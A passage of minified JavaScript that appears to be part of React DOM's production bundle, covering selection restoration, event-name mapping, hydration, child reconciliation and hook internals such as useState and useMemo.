e}r=r.parentNode}r=void 0}r=Yn(r)}}function Xn(e,t){return!(!e||!t)&&(e===t||(!e||3!==e.nodeType)&&(t&&3===t.nodeType?Xn(e,t.parentNode):"contains"in e?e.contains(t):!!e.compareDocumentPosition&&!!(16&e.compareDocumentPosition(t))))}function $n(e){for(var t=ht((e=null!=e&&null!=e.ownerDocument&&null!=e.ownerDocument.defaultView?e.ownerDocument.defaultView:window).document);t instanceof e.HTMLIFrameElement;){try{var n="string"===typeof t.contentWindow.location.href}catch(r){n=!1}if(!n)break;t=ht((e=t.contentWindow).document)}return t}function er(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&("input"===t&&("text"===e.type||"search"===e.type||"tel"===e.type||"url"===e.type||"password"===e.type)||"textarea"===t||"true"===e.contentEditable)}function tr(e,t){var n=$n(t);t=e.focusedElem;var r=e.selectionRange;if(n!==t&&t&&t.ownerDocument&&Xn(t.ownerDocument.documentElement,t)){if(null!==r&&er(t))if(e=r.start,void 0===(n=r.end)&&(n=e),"selectionStart"in t)t.selectionStart=e,t.selectionEnd=Math.min(n,t.value.length);else if((n=(e=t.ownerDocument||document)&&e.defaultView||window).getSelection){n=n.getSelection();var a=t.textContent.length,i=Math.min(r.start,a);r=void 0===r.end?i:Math.min(r.end,a),!n.extend&&i>r&&(a=r,r=i,i=a),a=Zn(t,i);var s=Zn(t,r);a&&s&&(1!==n.rangeCount||n.anchorNode!==a.node||n.anchorOffset!==a.offset||n.focusNode!==s.node||n.focusOffset!==s.offset)&&((e=e.createRange()).setStart(a.node,a.offset),n.removeAllRanges(),i>r?(n.addRange(e),n.extend(s.node,s.offset)):(e.setEnd(s.node,s.offset),n.addRange(e)))}for(e=[],n=t;n=n.parentNode;)1===n.nodeType&&e.push({element:n,left:n.scrollLeft,top:n.scrollTop});for("function"===typeof t.focus&&t.focus(),t=0;t<e.length;t++)(n=e[t]).element.scrollLeft=n.left,n.element.scrollTop=n.top}}var nr=nt&&"documentMode"in document&&11>=document.documentMode,rr=null,ar=null,ir=null,sr=!1;function or(e,t,n){var r=n.window===n?n.document:9===n.nodeType?n:n.ownerDocument;sr||null==rr||rr!==ht(r)||("selectionStart"in(r=rr)&&er(r)?r={start:r.selectionStart,end:r.selectionEnd}:r={anchorNode:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection()).anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset},ir&&Wn(ir,r)||(ir=r,0<(r=Dc(ar,"onSelect")).length&&(t=new Xt("onSelect","select",null,t,n),e.push({event:t,listeners:r}),t.target=rr)))}function lr(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var ur={animationend:lr("Animation","AnimationEnd"),animationiteration:lr("Animation","AnimationIteration"),animationstart:lr("Animation","AnimationStart"),transitionrun:lr("Transition","TransitionRun"),transitionstart:lr("Transition","TransitionStart"),transitioncancel:lr("Transition","TransitionCancel"),transitionend:lr("Transition","TransitionEnd")},cr={},fr={};function dr(e){if(cr[e])return cr[e];if(!ur[e])return e;var t,n=ur[e];for(t in n)if(n.hasOwnProperty(t)&&t in fr)return cr[e]=n[t];return e}nt&&(fr=document.createElement("div").style,"AnimationEvent"in window||(delete ur.animationend.animation,delete ur.animationiteration.animation,delete ur.animationstart.animation),"TransitionEvent"in window||delete ur.transitionend.transition);var hr=dr("animationend"),pr=dr("animationiteration"),gr=dr("animationstart"),mr=dr("transitionrun"),yr=dr("transitionstart"),br=dr("transitioncancel"),wr=dr("transitionend"),vr=new Map,Ar="abort auxClick beforeToggle cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll scrollEnd toggle touchMove waiting wheel".split(" ");function kr(e,t){vr.set(e,t),et(t,[e])}var Er=[],Sr=0,xr=0;function Pr(){for(var e=Sr,t=xr=Sr=0;t<e;){var n=Er[t];Er[t++]=null;var r=Er[t];Er[t++]=null;var a=Er[t];Er[t++]=null;var i=Er[t];if(Er[t++]=null,null!==r&&null!==a){var s=r.pending;null===s?a.next=a:(a.next=s.next,s.next=a),r.pending=a}0!==i&&Tr(n,a,i)}}function Cr(e,t,n,r){Er[Sr++]=e,Er[Sr++]=t,Er[Sr++]=n,Er[Sr++]=r,xr|=r,e.lanes|=r,null!==(e=e.alternate)&&(e.lanes|=r)}function Nr(e,t,n,r){return Cr(e,t,n,r),Rr(e)}function Or(e,t){return Cr(e,null,null,t),Rr(e)}function Tr(e,t,n){e.lanes|=n;var r=e.alternate;null!==r&&(r.lanes|=n);for(var a=!1,i=e.return;null!==i;)i.childLanes|=n,null!==(r=i.alternate)&&(r.childLanes|=n),22===i.tag&&(null===(e=i.stateNode)||1&e._visibility||(a=!0)),e=i,i=i.return;a&&null!==t&&3===e.tag&&(i=e.stateNode,a=31-ve(n),null===(e=(i=i.hiddenUpdates)[a])?i[a]=[t]:e.push(t),t.lane=536870912|n)}function Rr(e){if(50<Nu)throw Nu=0,Ou=null,Error(s(185));for(var t=e.return;null!==t;)t=(e=t).return;return 3===e.tag?e.stateNode:null}var Ir={},Br=new WeakMap;function Fr(e,t){if("object"===typeof e&&null!==e){var n=Br.get(e);return void 0!==n?n:(t={value:e,source:t,stack:D(t)},Br.set(e,t),t)}return{value:e,source:t,stack:D(t)}}var Lr=[],Dr=0,Ur=null,Mr=0,zr=[],_r=0,Hr=null,jr=1,Gr="";function Qr(e,t){Lr[Dr++]=Mr,Lr[Dr++]=Ur,Ur=e,Mr=t}function Vr(e,t,n){zr[_r++]=jr,zr[_r++]=Gr,zr[_r++]=Hr,Hr=e;var r=jr;e=Gr;var a=32-ve(r)-1;r&=~(1<<a),n+=1;var i=32-ve(t)+a;if(30<i){var s=a-a%5;i=(r&(1<<s)-1).toString(32),r>>=s,a-=s,jr=1<<32-ve(t)+a|n<<a|r,Gr=i+e}else jr=1<<i|n<<a|r,Gr=e}function Jr(e){null!==e.return&&(Qr(e,1),Vr(e,1,0))}function qr(e){for(;e===Ur;)Ur=Lr[--Dr],Lr[Dr]=null,Mr=Lr[--Dr],Lr[Dr]=null;for(;e===Hr;)Hr=zr[--_r],zr[_r]=null,Gr=zr[--_r],zr[_r]=null,jr=zr[--_r],zr[_r]=null}var Kr=null,Wr=null,Yr=!1,Zr=null,Xr=!1,$r=Error(s(519));function ea(e){throw ia(Fr(Error(s(418,"")),e)),$r}function ta(e){var t=e.stateNode,n=e.type,r=e.memoizedProps;switch(t[Me]=e,t[ze]=r,n){case"dialog":Oc("cancel",t),Oc("close",t);break;case"iframe":case"object":case"embed":Oc("load",t);break;case"video":case"audio":for(n=0;n<Pc.length;n++)Oc(Pc[n],t);break;case"source":Oc("error",t);break;case"img":case"image":case"link":Oc("error",t),Oc("load",t);break;case"details":Oc("toggle",t);break;case"input":Oc("invalid",t),yt(t,r.value,r.defaultValue,r.checked,r.defaultChecked,r.type,r.name,!0),ft(t);break;case"select":Oc("invalid",t);break;case"textarea":Oc("invalid",t),At(t,r.value,r.defaultValue,r.children),ft(t)}"string"!==typeof(n=r.children)&&"number"!==typeof n&&"bigint"!==typeof n||t.textContent===""+n||!0===r.suppressHydrationWarning||jc(t.textContent,n)?(null!=r.popover&&(Oc("beforetoggle",t),Oc("toggle",t)),null!=r.onScroll&&Oc("scroll",t),null!=r.onScrollEnd&&Oc("scrollend",t),null!=r.onClick&&(t.onclick=Gc),t=!0):t=!1,t||ea(e)}function na(e){for(Kr=e.return;Kr;)switch(Kr.tag){case 3:case 27:return void(Xr=!0);case 5:case 13:return void(Xr=!1);default:Kr=Kr.return}}function ra(e){if(e!==Kr)return!1;if(!Yr)return na(e),Yr=!0,!1;var t,n=!1;if((t=3!==e.tag&&27!==e.tag)&&((t=5===e.tag)&&(t=!("form"!==(t=e.type)&&"button"!==t)||Xc(e.type,e.memoizedProps)),t=!t),t&&(n=!0),n&&Wr&&ea(e),na(e),13===e.tag){if(!(e=null!==(e=e.memoizedState)?e.dehydrated:null))throw Error(s(317));e:{for(e=e.nextSibling,n=0;e;){if(8===e.nodeType)if("/$"===(t=e.data)){if(0===n){Wr=lf(e.nextSibling);break e}n--}else"$"!==t&&"$!"!==t&&"$?"!==t||n++;e=e.nextSibling}Wr=null}}else Wr=Kr?lf(e.stateNode.nextSibling):null;return!0}function aa(){Wr=Kr=null,Yr=!1}function ia(e){null===Zr?Zr=[e]:Zr.push(e)}var sa=Error(s(460)),oa=Error(s(474)),la={then:function(){}};function ua(e){return"fulfilled"===(e=e.status)||"rejected"===e}function ca(){}function fa(e,t,n){switch(void 0===(n=e[n])?e.push(t):n!==t&&(t.then(ca,ca),t=n),t.status){case"fulfilled":return t.value;case"rejected":if((e=t.reason)===sa)throw Error(s(483));throw e;default:if("string"===typeof t.status)t.then(ca,ca);else{if(null!==(e=tu)&&100<e.shellSuspendCounter)throw Error(s(482));(e=t).status="pending",e.then((function(e){if("pending"===t.status){var n=t;n.status="fulfilled",n.value=e}}),(function(e){if("pending"===t.status){var n=t;n.status="rejected",n.reason=e}}))}switch(t.status){case"fulfilled":return t.value;case"rejected":if((e=t.reason)===sa)throw Error(s(483));throw e}throw da=t,sa}}var da=null;function ha(){if(null===da)throw Error(s(459));var e=da;return da=null,e}var pa=null,ga=0;function ma(e){var t=ga;return ga+=1,null===pa&&(pa=[]),fa(pa,e,t)}function ya(e,t){t=t.props.ref,e.ref=void 0!==t?t:null}function ba(e,t){if(t.$$typeof===l)throw Error(s(525));throw e=Object.prototype.toString.call(t),Error(s(31,"[object Object]"===e?"object with keys {"+Object.keys(t).join(", ")+"}":e))}function wa(e){return(0,e._init)(e._payload)}function va(e){function t(t,n){if(e){var r=t.deletions;null===r?(t.deletions=[n],t.flags|=16):r.push(n)}}function n(n,r){if(!e)return null;for(;null!==r;)t(n,r),r=r.sibling;return null}function r(e){for(var t=new Map;null!==e;)null!==e.key?t.set(e.key,e):t.set(e.index,e),e=e.sibling;return t}function a(e,t){return(e=Ul(e,t)).index=0,e.sibling=null,e}function i(t,n,r){return t.index=r,e?null!==(r=t.alternate)?(r=r.index)<n?(t.flags|=33554434,n):r:(t.flags|=33554434,n):(t.flags|=1048576,n)}function o(t){return e&&null===t.alternate&&(t.flags|=33554434),t}function l(e,t,n,r){return null===t||6!==t.tag?((t=jl(n,e.mode,r)).return=e,t):((t=a(t,n)).return=e,t)}function d(e,t,n,r){var i=n.type;return i===f?p(e,t,n.props.children,r,n.key):null!==t&&(t.elementType===i||"object"===typeof i&&null!==i&&i.$$typeof===A&&wa(i)===t.type)?(ya(t=a(t,n.props),n),t.return=e,t):(ya(t=zl(n.type,n.key,n.props,null,e.mode,r),n),t.return=e,t)}function h(e,t,n,r){return null===t||4!==t.tag||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?((t=Gl(n,e.mode,r)).return=e,t):((t=a(t,n.children||[])).return=e,t)}function p(e,t,n,r,i){return null===t||7!==t.tag?((t=_l(n,e.mode,r,i)).return=e,t):((t=a(t,n)).return=e,t)}function g(e,t,n){if("string"===typeof t&&""!==t||"number"===typeof t||"bigint"===typeof t)return(t=jl(""+t,e.mode,n)).return=e,t;if("object"===typeof t&&null!==t){switch(t.$$typeof){case u:return ya(n=zl(t.type,t.key,t.props,null,e.mode,n),t),n.return=e,n;case c:return(t=Gl(t,e.mode,n)).return=e,t;case A:return g(e,t=(0,t._init)(t._payload),n)}if(H(t)||x(t))return(t=_l(t,e.mode,n,null)).return=e,t;if("function"===typeof t.then)return g(e,ma(t),n);if(t.$$typeof===m)return g(e,Po(e,t),n);ba(e,t)}return null}function y(e,t,n,r){var a=null!==t?t.key:null;if("string"===typeof n&&""!==n||"number"===typeof n||"bigint"===typeof n)return null!==a?null:l(e,t,""+n,r);if("object"===typeof n&&null!==n){switch(n.$$typeof){case u:return n.key===a?d(e,t,n,r):null;case c:return n.key===a?h(e,t,n,r):null;case A:return y(e,t,n=(a=n._init)(n._payload),r)}if(H(n)||x(n))return null!==a?null:p(e,t,n,r,null);if("function"===typeof n.then)return y(e,t,ma(n),r);if(n.$$typeof===m)return y(e,t,Po(e,n),r);ba(e,n)}return null}function b(e,t,n,r,a){if("string"===typeof r&&""!==r||"number"===typeof r||"bigint"===typeof r)return l(t,e=e.get(n)||null,""+r,a);if("object"===typeof r&&null!==r){switch(r.$$typeof){case u:return d(t,e=e.get(null===r.key?n:r.key)||null,r,a);case c:return h(t,e=e.get(null===r.key?n:r.key)||null,r,a);case A:return b(e,t,n,r=(0,r._init)(r._payload),a)}if(H(r)||x(r))return p(t,e=e.get(n)||null,r,a,null);if("function"===typeof r.then)return b(e,t,n,ma(r),a);if(r.$$typeof===m)return b(e,t,n,Po(t,r),a);ba(t,r)}return null}function w(l,d,h,p){if("object"===typeof h&&null!==h&&h.type===f&&null===h.key&&(h=h.props.children),"object"===typeof h&&null!==h){switch(h.$$typeof){case u:e:{for(var v=h.key;null!==d;){if(d.key===v){if((v=h.type)===f){if(7===d.tag){n(l,d.sibling),(p=a(d,h.props.children)).return=l,l=p;break e}}else if(d.elementType===v||"object"===typeof v&&null!==v&&v.$$typeof===A&&wa(v)===d.type){n(l,d.sibling),ya(p=a(d,h.props),h),p.return=l,l=p;break e}n(l,d);break}t(l,d),d=d.sibling}h.type===f?((p=_l(h.props.children,l.mode,p,h.key)).return=l,l=p):(ya(p=zl(h.type,h.key,h.props,null,l.mode,p),h),p.return=l,l=p)}return o(l);case c:e:{for(v=h.key;null!==d;){if(d.key===v){if(4===d.tag&&d.stateNode.containerInfo===h.containerInfo&&d.stateNode.implementation===h.implementation){n(l,d.sibling),(p=a(d,h.children||[])).return=l,l=p;break e}n(l,d);break}t(l,d),d=d.sibling}(p=Gl(h,l.mode,p)).return=l,l=p}return o(l);case A:return w(l,d,h=(v=h._init)(h._payload),p)}if(H(h))return function(a,s,o,l){for(var u=null,c=null,f=s,d=s=0,h=null;null!==f&&d<o.length;d++){f.index>d?(h=f,f=null):h=f.sibling;var p=y(a,f,o[d],l);if(null===p){null===f&&(f=h);break}e&&f&&null===p.alternate&&t(a,f),s=i(p,s,d),null===c?u=p:c.sibling=p,c=p,f=h}if(d===o.length)return n(a,f),Yr&&Qr(a,d),u;if(null===f){for(;d<o.length;d++)null!==(f=g(a,o[d],l))&&(s=i(f,s,d),null===c?u=f:c.sibling=f,c=f);return Yr&&Qr(a,d),u}for(f=r(f);d<o.length;d++)null!==(h=b(f,a,d,o[d],l))&&(e&&null!==h.alternate&&f.delete(null===h.key?d:h.key),s=i(h,s,d),null===c?u=h:c.sibling=h,c=h);return e&&f.forEach((function(e){return t(a,e)})),Yr&&Qr(a,d),u}(l,d,h,p);if(x(h)){if("function"!==typeof(v=x(h)))throw Error(s(150));return function(a,o,l,u){if(null==l)throw Error(s(151));for(var c=null,f=null,d=o,h=o=0,p=null,m=l.next();null!==d&&!m.done;h++,m=l.next()){d.index>h?(p=d,d=null):p=d.sibling;var w=y(a,d,m.value,u);if(null===w){null===d&&(d=p);break}e&&d&&null===w.alternate&&t(a,d),o=i(w,o,h),null===f?c=w:f.sibling=w,f=w,d=p}if(m.done)return n(a,d),Yr&&Qr(a,h),c;if(null===d){for(;!m.done;h++,m=l.next())null!==(m=g(a,m.value,u))&&(o=i(m,o,h),null===f?c=m:f.sibling=m,f=m);return Yr&&Qr(a,h),c}for(d=r(d);!m.done;h++,m=l.next())null!==(m=b(d,a,h,m.value,u))&&(e&&null!==m.alternate&&d.delete(null===m.key?h:m.key),o=i(m,o,h),null===f?c=m:f.sibling=m,f=m);return e&&d.forEach((function(e){return t(a,e)})),Yr&&Qr(a,h),c}(l,d,h=v.call(h),p)}if("function"===typeof h.then)return w(l,d,ma(h),p);if(h.$$typeof===m)return w(l,d,Po(l,h),p);ba(l,h)}return"string"===typeof h&&""!==h||"number"===typeof h||"bigint"===typeof h?(h=""+h,null!==d&&6===d.tag?(n(l,d.sibling),(p=a(d,h)).return=l,l=p):(n(l,d),(p=jl(h,l.mode,p)).return=l,l=p),o(l)):n(l,d)}return function(e,t,n,r){try{ga=0;var a=w(e,t,n,r);return pa=null,a}catch(s){if(s===sa)throw s;var i=Ll(29,s,null,e.mode);return i.lanes=r,i.return=e,i}}}var Aa=va(!0),ka=va(!1),Ea=J(null),Sa=J(0);function xa(e,t){K(Sa,e=uu),K(Ea,t),uu=e|t.baseLanes}function Pa(){K(Sa,uu),K(Ea,Ea.current)}function Ca(){uu=Sa.current,q(Ea),q(Sa)}var Na=J(null),Oa=null;function Ta(e){var t=e.alternate;K(Fa,1&Fa.current),K(Na,e),null===Oa&&(null===t||null!==Ea.current||null!==t.memoizedState)&&(Oa=e)}function Ra(e){if(22===e.tag){if(K(Fa,Fa.current),K(Na,e),null===Oa){var t=e.alternate;null!==t&&null!==t.memoizedState&&(Oa=e)}}else Ia()}function Ia(){K(Fa,Fa.current),K(Na,Na.current)}function Ba(e){q(Na),Oa===e&&(Oa=null),q(Fa)}var Fa=J(0);function La(e){for(var t=e;null!==t;){if(13===t.tag){var n=t.memoizedState;if(null!==n&&(null===(n=n.dehydrated)||"$?"===n.data||"$!"===n.data))return t}else if(19===t.tag&&void 0!==t.memoizedProps.revealOrder){if(0!==(128&t.flags))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var Da="undefined"!==typeof AbortController?AbortController:function(){var e=[],t=this.signal={aborted:!1,addEventListener:function(t,n){e.push(n)}};this.abort=function(){t.aborted=!0,e.forEach((function(e){return e()}))}},Ua=r.unstable_scheduleCallback,Ma=r.unstable_NormalPriority,za={$$typeof:m,Consumer:null,Provider:null,_currentValue:null,_currentValue2:null,_threadCount:0};function _a(){return{controller:new Da,data:new Map,refCount:0}}function Ha(e){e.refCount--,0===e.refCount&&Ua(Ma,(function(){e.controller.abort()}))}var ja=null,Ga=0,Qa=0,Va=null;function Ja(){if(0===--Ga&&null!==ja){null!==Va&&(Va.status="fulfilled");var e=ja;ja=null,Qa=0,Va=null;for(var t=0;t<e.length;t++)(0,e[t])()}}var qa=T.S;T.S=function(e,t){"object"===typeof t&&null!==t&&"function"===typeof t.then&&function(e,t){if(null===ja){var n=ja=[];Ga=0,Qa=Ac(),Va={status:"pending",value:void 0,then:function(e){n.push(e)}}}Ga++,t.then(Ja,Ja)}(0,t),null!==qa&&qa(e,t)};var Ka=J(null);function Wa(){var e=Ka.current;return null!==e?e:tu.pooledCache}function Ya(e,t){K(Ka,null===t?Ka.current:t.pool)}function Za(){var e=Wa();return null===e?null:{parent:za._currentValue,pool:e}}var Xa=0,$a=null,ei=null,ti=null,ni=!1,ri=!1,ai=!1,ii=0,si=0,oi=null,li=0;function ui(){throw Error(s(321))}function ci(e,t){if(null===t)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!Kn(e[n],t[n]))return!1;return!0}function fi(e,t,n,r,a,i){return Xa=i,$a=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,T.H=null===e||null===e.memoizedState?xs:Ps,ai=!1,i=n(r,a),ai=!1,ri&&(i=hi(t,n,r,a)),di(e),i}function di(e){T.H=Ss;var t=null!==ei&&null!==ei.next;if(Xa=0,ti=ei=$a=null,ni=!1,si=0,oi=null,t)throw Error(s(300));null===e||Gs||null!==(e=e.dependencies)&&Eo(e)&&(Gs=!0)}function hi(e,t,n,r){$a=e;var a=0;do{if(ri&&(oi=null),si=0,ri=!1,25<=a)throw Error(s(301));if(a+=1,ti=ei=null,null!=e.updateQueue){var i=e.updateQueue;i.lastEffect=null,i.events=null,i.stores=null,null!=i.memoCache&&(i.memoCache.index=0)}T.H=Cs,i=t(n,r)}while(ri);return i}function pi(){var e=T.H,t=e.useState()[0];return t="function"===typeof t.then?vi(t):t,e=e.useState()[0],(null!==ei?ei.memoizedState:null)!==e&&($a.flags|=1024),t}function gi(){var e=0!==ii;return ii=0,e}function mi(e,t,n){t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~n}function yi(e){if(ni){for(e=e.memoizedState;null!==e;){var t=e.queue;null!==t&&(t.pending=null),e=e.next}ni=!1}Xa=0,ti=ei=$a=null,ri=!1,si=ii=0,oi=null}function bi(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return null===ti?$a.memoizedState=ti=e:ti=ti.next=e,ti}function wi(){if(null===ei){var e=$a.alternate;e=null!==e?e.memoizedState:null}else e=ei.next;var t=null===ti?$a.memoizedState:ti.next;if(null!==t)ti=t,ei=e;else{if(null===e){if(null===$a.alternate)throw Error(s(467));throw Error(s(310))}e={memoizedState:(ei=e).memoizedState,baseState:ei.baseState,baseQueue:ei.baseQueue,queue:ei.queue,next:null},null===ti?$a.memoizedState=ti=e:ti=ti.next=e}return ti}function vi(e){var t=si;return si+=1,null===oi&&(oi=[]),e=fa(oi,e,t),t=$a,null===(null===ti?t.memoizedState:ti.next)&&(t=t.alternate,T.H=null===t||null===t.memoizedState?xs:Ps),e}function Ai(e){if(null!==e&&"object"===typeof e){if("function"===typeof e.then)return vi(e);if(e.$$typeof===m)return xo(e)}throw Error(s(438,String(e)))}function ki(e){var t=null,n=$a.updateQueue;if(null!==n&&(t=n.memoCache),null==t){var r=$a.alternate;null!==r&&(null!==(r=r.updateQueue)&&(null!=(r=r.memoCache)&&(t={data:r.data.map((function(e){return e.slice()})),index:0})))}if(null==t&&(t={data:[],index:0}),null===n&&(n={lastEffect:null,events:null,stores:null,memoCache:null},$a.updateQueue=n),n.memoCache=t,void 0===(n=t.data[t.index]))for(n=t.data[t.index]=Array(e),r=0;r<e;r++)n[r]=E;return t.index++,n}function Ei(e,t){return"function"===typeof t?t(e):t}function Si(e){return xi(wi(),ei,e)}function xi(e,t,n){var r=e.queue;if(null===r)throw Error(s(311));r.lastRenderedReducer=n;var a=e.baseQueue,i=r.pending;if(null!==i){if(null!==a){var o=a.next;a.next=i.next,i.next=o}t.baseQueue=a=i,r.pending=null}if(i=e.baseState,null===a)e.memoizedState=i;else{var l=o=null,u=null,c=t=a.next,f=!1;do{var d=-536870913&c.lane;if(d!==c.lane?(ru&d)===d:(Xa&d)===d){var h=c.revertLane;if(0===h)null!==u&&(u=u.next={lane:0,revertLane:0,action:c.action,hasEagerState:c.hasEagerState,eagerState:c.eagerState,next:null}),d===Qa&&(f=!0);else{if((Xa&h)===h){c=c.next,h===Qa&&(f=!0);continue}d={lane:0,revertLane:c.revertLane,action:c.action,hasEagerState:c.hasEagerState,eagerState:c.eagerState,next:null},null===u?(l=u=d,o=i):u=u.next=d,$a.lanes|=h,fu|=h}d=c.action,ai&&n(i,d),i=c.hasEagerState?c.eagerState:n(i,d)}else h={lane:d,revertLane:c.revertLane,action:c.action,hasEagerState:c.hasEagerState,eagerState:c.eagerState,next:null},null===u?(l=u=h,o=i):u=u.next=h,$a.lanes|=d,fu|=d;c=c.next}while(null!==c&&c!==t);if(null===u?o=i:u.next=l,!Kn(i,e.memoizedState)&&(Gs=!0,f&&null!==(n=Va)))throw n;e.memoizedState=i,e.baseState=o,e.baseQueue=u,r.lastRenderedState=i}return null===a&&(r.lanes=0),[e.memoizedState,r.dispatch]}function Pi(e){var t=wi(),n=t.queue;if(null===n)throw Error(s(311));n.lastRenderedReducer=e;var r=n.dispatch,a=n.pending,i=t.memoizedState;if(null!==a){n.pending=null;var o=a=a.next;do{i=e(i,o.action),o=o.next}while(o!==a);Kn(i,t.memoizedState)||(Gs=!0),t.memoizedState=i,null===t.baseQueue&&(t.baseState=i),n.lastRenderedState=i}return[i,r]}function Ci(e,t,n){var r=$a,a=wi(),i=Yr;if(i){if(void 0===n)throw Error(s(407));n=n()}else n=t();var o=!Kn((ei||a).memoizedState,n);if(o&&(a.memoizedState=n,Gs=!0),a=a.queue,Xi(Ti.bind(null,r,a,e),[e]),a.getSnapshot!==t||o||null!==ti&&1&ti.memoizedState.tag){if(r.flags|=2048,qi(9,Oi.bind(null,r,a,n,t),{destroy:void 0},null),null===tu)throw Error(s(349));i||0!==(60&Xa)||Ni(r,t,n)}return n}function Ni(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},null===(t=$a.updateQueue)?(t={lastEffect:null,events:null,stores:null,memoCache:null},$a.updateQueue=t,t.stores=[e]):null===(n=t.stores)?t.stores=[e]:n.push(e)}function Oi(e,t,n,r){t.value=n,t.getSnapshot=r,Ri(t)&&Ii(e)}function Ti(e,t,n){return n((function(){Ri(t)&&Ii(e)}))}function Ri(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!Kn(e,n)}catch(r){return!0}}function Ii(e){var t=Or(e,2);null!==t&&Iu(t,e,2)}function Bi(e){var t=bi();if("function"===typeof e){var n=e;if(e=n(),ai){we(!0);try{n()}finally{we(!1)}}}return t.memoizedState=t.baseState=e,t.queue={pending:null,lanes:0,dispatch:null,lastRenderedReducer:Ei,lastRenderedState:e},t}function Fi(e,t,n,r){return e.baseState=n,xi(e,ei,"function"===typeof r?r:Ei)}function Li(e,t,n,r,a){if(As(e))throw Error(s(485));if(null!==(e=t.action)){var i={payload:a,action:e,next:null,isTransition:!0,status:"pending",value:null,reason:null,listeners:[],then:function(e){i.listeners.push(e)}};null!==T.T?n(!0):i.isTransition=!1,r(i),null===(n=t.pending)?(i.next=t.pending=i,Di(t,i)):(i.next=n.next,t.pending=n.next=i)}}function Di(e,t){var n=t.action,r=t.payload,a=e.state;if(t.isTransition){var i=T.T,s={};T.T=s;try{var o=n(a,r),l=T.S;null!==l&&l(s,o),Ui(e,t,o)}catch(u){zi(e,t,u)}finally{T.T=i}}else try{Ui(e,t,i=n(a,r))}catch(c){zi(e,t,c)}}function Ui(e,t,n){null!==n&&"object"===typeof n&&"function"===typeof n.then?n.then((function(n){Mi(e,t,n)}),(function(n){return zi(e,t,n)})):Mi(e,t,n)}function Mi(e,t,n){t.status="fulfilled",t.value=n,_i(t),e.state=n,null!==(t=e.pending)&&((n=t.next)===t?e.pending=null:(n=n.next,t.next=n,Di(e,n)))}function zi(e,t,n){var r=e.pending;if(e.pending=null,null!==r){r=r.next;do{t.status="rejected",t.reason=n,_i(t),t=t.next}while(t!==r)}e.action=null}function _i(e){e=e.listeners;for(var t=0;t<e.length;t++)(0,e[t])()}function Hi(e,t){return t}function ji(e,t){if(Yr){var n=tu.formState;if(null!==n){e:{var r=$a;if(Yr){if(Wr){t:{for(var a=Wr,i=Xr;8!==a.nodeType;){if(!i){a=null;break t}if(null===(a=lf(a.nextSibling))){a=null;break t}}a="F!"===(i=a.data)||"F"===i?a:null}if(a){Wr=lf(a.nextSibling),r="F!"===a.data;break e}}ea(r)}r=!1}r&&(t=n[0])}}return(n=bi()).memoizedState=n.baseState=t,r={pending:null,lanes:0,dispatch:null,lastRenderedReducer:Hi,lastRenderedState:t},n.queue=r,n=bs.bind(null,$a,r),r.dispatch=n,r=Bi(!1),i=vs.bind(null,$a,!1,r.queue),a={state:t,dispatch:null,action:e,pending:null},(r=bi()).queue=a,n=Li.bind(null,$a,a,i,n),a.dispatch=n,r.memoizedState=e,[t,n,!1]}function Gi(e){return Qi(wi(),ei,e)}function Qi(e,t,n){t=xi(e,t,Hi)[0],e=Si(Ei)[0],t="object"===typeof t&&null!==t&&"function"===typeof t.then?vi(t):t;var r=wi(),a=r.queue,i=a.dispatch;return n!==r.memoizedState&&($a.flags|=2048,qi(9,Vi.bind(null,a,n),{destroy:void 0},null)),[t,i,e]}function Vi(e,t){e.action=t}function Ji(e){var t=wi(),n=ei;if(null!==n)return Qi(t,n,e);wi(),t=t.memoizedState;var r=(n=wi()).queue.dispatch;return n.memoizedState=e,[t,r,!1]}function qi(e,t,n,r){return e={tag:e,create:t,inst:n,deps:r,next:null},null===(t=$a.updateQueue)&&(t={lastEffect:null,events:null,stores:null,memoCache:null},$a.updateQueue=t),null===(n=t.lastEffect)?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e),e}function Ki(){return wi().memoizedState}function Wi(e,t,n,r){var a=bi();$a.flags|=e,a.memoizedState=qi(1|t,n,{destroy:void 0},void 0===r?null:r)}function Yi(e,t,n,r){var a=wi();r=void 0===r?null:r;var i=a.memoizedState.inst;null!==ei&&null!==r&&ci(r,ei.memoizedState.deps)?a.memoizedState=qi(t,n,i,r):($a.flags|=e,a.memoizedState=qi(1|t,n,i,r))}function Zi(e,t){Wi(8390656,8,e,t)}function Xi(e,t){Yi(2048,8,e,t)}function $i(e,t){return Yi(4,2,e,t)}function es(e,t){return Yi(4,4,e,t)}function ts(e,t){if("function"===typeof t){e=e();var n=t(e);return function(){"function"===typeof n?n():t(null)}}if(null!==t&&void 0!==t)return e=e(),t.current=e,function(){t.current=null}}function ns(e,t,n){n=null!==n&&void 0!==n?n.concat([e]):null,Yi(4,4,ts.bind(null,t,e),n)}function rs(){}function as(e,t){var n=wi();t=void 0===t?null:t;var r=n.memoizedState;return null!==t&&ci(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function is(e,t){var n=wi();t=void 0===t?null:t;var r=n.memoizedState;if(null!==t&&ci(t,r[1]))return r[0];if(r=e(),ai){we(!0);try{e()}finally{we(!1)}}return n.memoizedState=[r,t],r}function ss(e,t,n){return void 